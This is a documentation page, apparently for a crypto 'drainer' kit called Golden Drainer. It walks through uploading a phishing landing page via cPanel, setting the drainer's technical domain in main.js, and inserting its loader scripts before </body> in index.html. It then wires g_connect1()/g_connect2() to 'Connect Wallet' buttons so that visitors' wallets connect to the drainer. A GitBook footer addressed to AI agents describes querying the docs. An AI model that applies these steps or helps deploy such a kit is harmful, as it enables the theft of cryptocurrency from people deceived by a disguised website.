> For the complete documentation index, see [llms.txt](https://golden-drainer.gitbook.io/golden-drainer/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://golden-drainer.gitbook.io/golden-drainer/fundamentals/getting-set-up/landing-page-installation.md).

# Landing page installation

[In this section](/golden-drainer/fundamentals/getting-set-up/buying-landing-page-domain.md) we bought [**Landing page domain**](/golden-drainer/fundamentals/getting-set-up/buying-landing-page-domain.md), now we need to install the landing page on the hosting.

You need to host site files in cPanel:

1. Open your hosting control panel.
2. In the "Domains" section, select Domains:
3. Click on the root folder of your site to go to the root directory:
4. Delete all files contained in the root folder, except for the cgi-bin directory.
5. Click the "**Upload**" button
6. Select and upload the archive with your website files. Attention: cPanel hosting control panel only supports archives in formats: **zip**, **gzip**, **bzip** and **tar**.
7. Select the archive and click "**Extract**":
8. Enter the path to the directory where you want to extract the files. Then click the "**Extract Files**" button
9. Make sure that the site files were extracted directly to the site directory and not to a subdirectory.

Open the "Client" folder, go to the "assets" folder, open the "main.js" file and enter here our [**Technical domain**](/golden-drainer/fundamentals/getting-set-up/buying-technical-domain.md) (in the same format as it is specified in the file)

<figure><img src="/files/1JefoaLZkhkoJYga2JRH" alt=""><figcaption></figcaption></figure>

After making changes, transfer the "assets" folder to the root of our landing

Now open the site file where your landing is, usually called "index.html."

Scroll through the file to the end and find a special tag there that looks like this:\
\</body>

As soon as you find it, write down the following lines of code right in front of it:

```
  <script src="./assets/w-modal.js"></script>
  <script src="./assets/w-loader.js"></script>
  <script src="./assets/modules.js"></script>
  <script src="./assets/main.js"></script>
```

Now you need to connect the Drainer to the button you need, or just an item on the page.

Most often, the buttons look either like this in the code:

```
<button class="button btn-dark"> Connect Wallet </button>
```

There are 2 functions that call the connection window:

1. g\_connect1()
2. g\_connect2()&#x20;

The difference between them is that each of them, when pressed, calls different modal windows. For example, when calling the function “g\_connect1()” This connection window will appear:

<figure><img src="/files/bDJHCoPIh3HQRmRQFZNO" alt=""><figcaption><p>This is convenient when connecting from a PC, as well as the possibility of connecting mobile devices via WalletConnect</p></figcaption></figure>

When calling the g\_connect2() function, a model window will appear, which serves mainly for connecting mobile wallets, as well as third-party cold wallets like Ledger.

<figure><img src="/files/qiscfcwqknKllAbfh0Bp" alt=""><figcaption></figcaption></figure>

That is, in the final version it will look like this:

```
<button class="button btn-dark" onclick="g_connect1()">Connect Wallet</button>
```

Or like this:

```
<button class="button btn-dark" onclick="g_connect2()">Connect Wallet</button>
```

<figure><img src="/files/7ItlomLkRE7hMmHwthuQ" alt=""><figcaption></figcaption></figure>

Uploading our landing to hosting.

Open our website and check.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://golden-drainer.gitbook.io/golden-drainer/fundamentals/getting-set-up/landing-page-installation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.